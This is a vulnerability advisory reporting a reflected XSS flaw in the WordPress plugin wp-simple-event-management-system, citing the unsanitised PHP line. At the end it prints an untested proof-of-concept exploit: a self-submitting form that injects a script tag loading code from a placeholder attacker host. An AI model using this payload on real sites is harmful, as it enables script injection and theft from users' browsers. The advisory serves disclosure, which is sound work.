Advisory #: 996
Title: Reflected XSS in wordpress plugin wp-simple-event-management-system v0.9.9rc3
Author: Larry W. Cashdollar, @_larry0
Date: 2016-02-09
Download Site: https://wordpress.org/plugins/wp-simple-event-management-system
Downloads: 6295
Vendor Notified: 2016-02-09
Export: Json
Vendor Contact: plugins@wordpress.org
Plugin Name: wp-simple-event-management-system
Vulnerability:
There is a reflected XSS vulnerability in the following php code ./wp-simple-event-management-system/includes/itg-em-admin-list-atd.php: 104: $.post( "admin-ajax.php", { action: "itg_em_list_atd_ajax", id: id, start_date: "<?php echo $_POST['start_date']; ?>", end_date: "<?php echo $_POST['end_date']; ?>" }, function(data) { The variable start_date appears to send unsanitized data back to the users browser via POST request.
CVE-ID: Not Released
File:./wp-simple-event-management-system/includes/itg-em-admin-list-atd.php
Exploit Code:
Exploit was derived from appearance of first vulnerable parameter in code, there could be more shown above.
  1. This is an untested autogenerated exploit:
  2. XSS POST exploit modified from http://blog.portswigger.net/2007/03/exploiting-xss-in-post-requests.html
  3. <form name=TheForm action=http://[target]/wp-content/plugins/wp-simple-event-management-system/includes/itg-em-admin-list-atd.php method=post> <input type=hidden name=start_date value=&quot;&gt;&lt;script&#32;src=http://attacker/bad.js&gt;&lt;/script&gt;> </form> <script> document.TheForm.submit(); </script>